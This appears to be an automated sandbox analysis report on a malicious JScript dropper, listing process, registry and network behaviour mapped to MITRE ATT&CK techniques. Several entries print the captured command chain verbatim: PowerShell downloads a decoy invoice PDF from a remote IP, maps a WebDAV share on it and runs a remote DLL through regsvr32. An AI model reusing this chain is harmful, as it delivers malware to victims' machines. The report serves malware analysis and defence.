Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7010.js.csv");ITextStream.WriteLine(" entry:7518 f:vjnrsp");ITextStream.WriteLine(" exec:2 f:vjnrsp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49765

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4996			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4869			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6112	Thread sleep count: 4996 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6112	Thread sleep count: 4869 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1380	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2008	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1404	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1434863609.000001F28463B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: net.exe, 00000007.00000002.1436694381.000001F2845D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.1434863609.000001F28463B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2663122014.0000020F3D854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2661585270.0000020F3822B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
